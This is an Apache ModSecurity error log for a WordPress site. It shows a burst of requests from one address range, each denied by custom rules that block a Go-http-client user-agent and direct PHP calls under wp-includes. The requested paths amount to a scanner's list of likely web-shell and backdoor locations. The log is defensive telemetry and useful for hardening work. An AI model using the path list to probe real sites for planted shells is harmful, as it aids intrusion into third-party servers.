[Thu Nov 20 07:09:29.492487 2025] [:error] [pid 55340:tid 55360] [client 185.223.152.69:27115] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aR5OKfOxD-NeMydTybDThwAAAA8"]
[Thu Nov 20 07:09:30.163706 2025] [:error] [pid 34444:tid 34450] [client 185.223.152.77:57079] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aR5OKlNEol4jlmmA_GOn7QAAAUQ"]
[Thu Nov 20 07:09:30.837028 2025] [:error] [pid 55342:tid 55390] [client 185.223.152.83:46741] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aR5OKrg6x32Tvk7fIG9NyAAAAFI"]
[Thu Nov 20 07:09:31.506883 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.74:21231] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aR5OK_OxD-NeMydTybDTjAAAAAI"]
[Thu Nov 20 07:09:32.176045 2025] [:error] [pid 34405:tid 34415] [client 185.223.152.76:45713] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/load.php"] [unique_id "aR5OLDFpvu8oRK7ATfuGJQAAAQg"]
[Thu Nov 20 07:09:32.848059 2025] [:error] [pid 34444:tid 34455] [client 185.223.152.81:34933] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aR5OLFNEol4jlmmA_GOn8AAAAUk"]
[Thu Nov 20 07:09:33.519066 2025] [:error] [pid 34444:tid 34466] [client 185.223.152.65:51461] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aR5OLVNEol4jlmmA_GOn8wAAAVQ"]
[Thu Nov 20 07:09:34.193632 2025] [:error] [pid 34444:tid 34465] [client 185.223.152.86:31563] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aR5OLlNEol4jlmmA_GOn9gAAAVM"]
[Thu Nov 20 07:09:34.865105 2025] [:error] [pid 55343:tid 55403] [client 185.223.152.79:55089] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/"] [unique_id "aR5OLlWlO3EnyVMV7w4M8gAAAIQ"]
[Thu Nov 20 07:09:35.546431 2025] [:error] [pid 34444:tid 34466] [client 185.223.152.89:53517] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aR5OL1NEol4jlmmA_GOn_gAAAVQ"]
[Thu Nov 20 07:09:36.239801 2025] [:error] [pid 34444:tid 34448] [client 185.223.152.91:59697] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aR5OMFNEol4jlmmA_GOoBwAAAUI"]
[Thu Nov 20 07:09:36.916476 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.73:61653] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/classwithtostring.php"] [unique_id "aR5OMLg6x32Tvk7fIG9N2AAAAFA"]
[Thu Nov 20 07:09:37.596149 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.78:47973] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aR5OMVWlO3EnyVMV7w4M9AAAAIc"]
[Thu Nov 20 07:09:38.267663 2025] [:error] [pid 55342:tid 55372] [client 185.223.152.81:57647] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aR5OMrg6x32Tvk7fIG9N3wAAAEA"]
[Thu Nov 20 07:09:38.945131 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.91:37813] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/admin/index.php"] [unique_id "aR5OMjFpvu8oRK7ATfuGKAAAAQE"]
[Thu Nov 20 07:09:39.614257 2025] [:error] [pid 34444:tid 34456] [client 185.223.152.79:31435] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/about.php"] [unique_id "aR5OM1NEol4jlmmA_GOoFAAAAUo"]
[Thu Nov 20 07:09:40.283801 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.85:51311] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aR5ONFNEol4jlmmA_GOoFQAAAUU"]
[Thu Nov 20 07:09:40.954198 2025] [:error] [pid 55342:tid 55389] [client 185.223.152.77:20395] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aR5ONLg6x32Tvk7fIG9N4gAAAFE"]
[Thu Nov 20 07:09:41.621883 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.74:21635] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aR5ONVNEol4jlmmA_GOoGAAAAVY"]
[Thu Nov 20 07:09:42.290858 2025] [:error] [pid 34444:tid 34455] [client 185.223.152.88:29467] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "aR5ONlNEol4jlmmA_GOoGgAAAUk"]
[Thu Nov 20 07:09:42.961155 2025] [:error] [pid 34444:tid 34464] [client 185.223.152.89:64853] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aR5ONlNEol4jlmmA_GOoHQAAAVI"]
[Thu Nov 20 07:09:43.629806 2025] [:error] [pid 55342:tid 55392] [client 185.223.152.90:35841] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aR5ON7g6x32Tvk7fIG9N4wAAAFQ"]
[Thu Nov 20 07:09:44.307157 2025] [:error] [pid 34444:tid 34470] [client 185.223.152.76:21611] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/"] [unique_id "aR5OOFNEol4jlmmA_GOoHwAAAVg"]
[Thu Nov 20 07:09:44.983980 2025] [:error] [pid 34444:tid 34453] [client 185.223.152.77:47755] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/404.php"] [unique_id "aR5OOFNEol4jlmmA_GOoIAAAAUc"]
[Thu Nov 20 07:09:45.662127 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.69:55305] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aR5OOVWlO3EnyVMV7w4M-AAAAIA"]
[Thu Nov 20 07:09:46.333351 2025] [:error] [pid 55343:tid 55419] [client 185.223.152.85:48123] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/class.api.php"] [unique_id "aR5OOlWlO3EnyVMV7w4M-QAAAJQ"]
[Thu Nov 20 07:09:47.004592 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.76:35213] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "aR5OO_PZXaIMEU4pE7tSiQAAANY"]
[Thu Nov 20 07:09:47.672239 2025] [:error] [pid 55343:tid 55413] [client 185.223.152.73:30417] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/index.php"] [unique_id "aR5OO1WlO3EnyVMV7w4M-gAAAI4"]
[Thu Nov 20 07:09:48.343735 2025] [:error] [pid 55342:tid 55380] [client 185.223.152.71:34675] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-config-sample.php"] [unique_id "aR5OPLg6x32Tvk7fIG9N5gAAAEg"]
[Thu Nov 20 07:09:49.016619 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.80:57887] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aR5OPbg6x32Tvk7fIG9N6AAAAEk"]
[Thu Nov 20 07:09:49.690256 2025] [:error] [pid 34444:tid 34448] [client 185.223.152.88:39565] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aR5OPVNEol4jlmmA_GOoJgAAAUI"]
[Thu Nov 20 07:09:50.363067 2025] [:error] [pid 55343:tid 55411] [client 185.223.152.80:26295] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/nav.php"] [unique_id "aR5OPlWlO3EnyVMV7w4M_QAAAIw"]
[Thu Nov 20 07:09:51.034771 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.72:41617] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aR5OP_OxD-NeMydTybDTmQAAAAI"]
[Thu Nov 20 07:09:51.704323 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.76:39879] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/files/"] [unique_id "aR5OP_PZXaIMEU4pE7tSjAAAAMw"]
[Thu Nov 20 07:09:52.373072 2025] [:error] [pid 55342:tid 55372] [client 185.223.152.77:33945] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aR5OQLg6x32Tvk7fIG9N6QAAAEA"]
[Thu Nov 20 07:09:53.042353 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.90:57397] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aR5OQbg6x32Tvk7fIG9N6wAAAEE"]
[Thu Nov 20 07:09:55.070665 2025] [:error] [pid 55340:tid 55354] [client 185.223.152.91:21885] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aR5OQ_OxD-NeMydTybDTnQAAAAk"]
[Thu Nov 20 07:09:55.739487 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.91:45783] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aR5OQ_PZXaIMEU4pE7tSkQAAANI"]
[Thu Nov 20 07:09:56.408444 2025] [:error] [pid 34444:tid 34453] [client 185.223.152.74:22403] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aR5ORFNEol4jlmmA_GOoKQAAAUc"]
[Thu Nov 20 07:09:57.082881 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.71:37165] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aR5ORbg6x32Tvk7fIG9N_AAAAEU"]
[Thu Nov 20 07:09:57.752126 2025] [:error] [pid 55430:tid 55446] [client 185.223.152.75:24845] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "aR5ORfPZXaIMEU4pE7tSlQAAAM0"]
[Thu Nov 20 07:09:58.422028 2025] [:error] [pid 55340:tid 55368] [client 185.223.152.79:24225] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aR5ORvOxD-NeMydTybDTnwAAABc"]
[Thu Nov 20 07:09:59.093466 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.85:52393] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/privacy-tools.min.php"] [unique_id "aR5OR1NEol4jlmmA_GOoKwAAAU4"]
[Thu Nov 20 07:09:59.762264 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.89:20465] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aR5OR1NEol4jlmmA_GOoLQAAAUw"]
[Thu Nov 20 07:10:00.438704 2025] [:error] [pid 55430:tid 55437] [client 185.223.152.84:40025] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "aR5OSPPZXaIMEU4pE7tSmAAAAMQ"]
[Thu Nov 20 07:10:01.202787 2025] [:error] [pid 34444:tid 34448] [client 185.223.152.65:41907] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aR5OSVNEol4jlmmA_GOoMAAAAUI"]
[Thu Nov 20 07:10:01.921704 2025] [:error] [pid 34444:tid 34457] [client 185.223.152.66:25545] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aR5OSVNEol4jlmmA_GOoMwAAAUs"]
[Thu Nov 20 07:10:02.940442 2025] [:error] [pid 55430:tid 55438] [client 185.223.152.87:61251] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aR5OSvPZXaIMEU4pE7tSmQAAAMU"]
[Thu Nov 20 07:10:03.648104 2025] [:error] [pid 55430:tid 55442] [client 185.223.152.75:40563] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aR5OS_PZXaIMEU4pE7tSmwAAAMk"]
[Thu Nov 20 07:10:04.398418 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.86:25095] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aR5OTPPZXaIMEU4pE7tSnAAAAMA"]
[Thu Nov 20 07:10:05.161107 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.67:29797] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aR5OTVNEol4jlmmA_GOoNgAAAVY"]
[Thu Nov 20 07:10:05.832701 2025] [:error] [pid 55342:tid 55376] [client 185.223.152.91:20403] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aR5OTbg6x32Tvk7fIG9OAgAAAEQ"]
[Thu Nov 20 07:10:06.530811 2025] [:error] [pid 34444:tid 34469] [client 185.223.152.66:31449] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aR5OTlNEol4jlmmA_GOoNwAAAVc"]
[Thu Nov 20 07:10:07.205484 2025] [:error] [pid 55340:tid 55365] [client 185.223.152.83:42369] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aR5OT_OxD-NeMydTybDToAAAABQ"]
[Thu Nov 20 07:10:07.874939 2025] [:error] [pid 55340:tid 55360] [client 185.223.152.91:58011] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aR5OT_OxD-NeMydTybDToQAAAA8"]
